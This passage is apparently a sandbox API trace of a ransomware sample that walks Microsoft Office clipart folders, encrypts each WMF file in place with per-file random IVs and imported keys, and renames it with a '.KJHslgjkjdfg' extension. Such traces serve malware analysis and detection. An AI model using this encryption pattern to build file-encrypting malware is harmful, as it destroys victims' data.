phKey=0x4dff274*=0x2f182c8) returned 1 [0200.935] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.935] GetProcessHeap () returned 0x2ef0000 [0200.935] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.935] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.935] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.935] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.935] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.935] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.936] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.936] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.936] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.936] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.936] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.936] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.936] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe8c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe8c, lpOverlapped=0x0) returned 1 [0200.936] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe90, dwBufLen=0xe90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe90) returned 1 [0200.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.999] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe90, lpOverlapped=0x0) returned 1 [0200.999] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.999] SetEndOfFile (hFile=0x130) returned 1 [0201.001] GetProcessHeap () returned 0x2ef0000 [0201.001] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.001] GetProcessHeap () returned 0x2ef0000 [0201.001] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.kjhslgjkjdfg")) returned 1 [0201.003] CloseHandle (hObject=0x130) returned 1 [0201.003] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1 [0201.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.004] GetProcessHeap () returned 0x2ef0000 [0201.004] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.004] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.004] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.004] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.004] GetProcessHeap () returned 0x2ef0000 [0201.004] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.004] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.004] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.004] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.006] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.006] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.006] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.006] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.006] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.006] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.007] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xdf0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xdf0, lpOverlapped=0x0) returned 1 [0201.007] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdf0, dwBufLen=0xdf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xdf0) returned 1 [0201.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.007] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xdf0, lpOverlapped=0x0) returned 1 [0201.007] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.007] SetEndOfFile (hFile=0x130) returned 1 [0201.009] GetProcessHeap () returned 0x2ef0000 [0201.009] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.009] GetProcessHeap () returned 0x2ef0000 [0201.009] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.kjhslgjkjdfg")) returned 1 [0201.010] CloseHandle (hObject=0x130) returned 1 [0201.010] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1 [0201.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.011] GetProcessHeap () returned 0x2ef0000 [0201.011] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.011] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.011] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.013] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.013] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.013] GetProcessHeap () returned 0x2ef0000 [0201.013] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.013] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.013] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.013] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.013] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.013] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.013] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.014] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.014] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.014] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.014] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x258c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x258c, lpOverlapped=0x0) returned 1 [0201.015] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2590, dwBufLen=0x2590 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2590) returned 1 [0201.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.015] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2590, lpOverlapped=0x0) returned 1 [0201.015] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.015] SetEndOfFile (hFile=0x130) returned 1 [0201.017] GetProcessHeap () returned 0x2ef0000 [0201.017] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.017] GetProcessHeap () returned 0x2ef0000 [0201.017] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.kjhslgjkjdfg")) returned 1 [0201.018] CloseHandle (hObject=0x130) returned 1 [0201.018] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1 [0201.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.019] GetProcessHeap () returned 0x2ef0000 [0201.019] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.019] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.019] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.021] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.021] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.021] GetProcessHeap () returned 0x2ef0000 [0201.021] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.021] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.021] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.021] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.021] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.021] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.021] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.021] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.021] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.021] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.021] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.021] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.021] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1788, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1788, lpOverlapped=0x0) returned 1 [0201.022] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1790, dwBufLen=0x1790 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1790) returned 1 [0201.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.022] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1790, lpOverlapped=0x0) returned 1 [0201.022] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.022] SetEndOfFile (hFile=0x130) returned 1 [0201.025] GetProcessHeap () returned 0x2ef0000 [0201.025] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.025] GetProcessHeap () returned 0x2ef0000 [0201.025] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.kjhslgjkjdfg")) returned 1 [0201.025] CloseHandle (hObject=0x130) returned 1 [0201.026] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1 [0201.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.026] GetProcessHeap () returned 0x2ef0000 [0201.026] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.026] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.026] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.028] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.028] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.028] GetProcessHeap () returned 0x2ef0000 [0201.028] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.028] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.028] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.028] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.028] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.028] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, 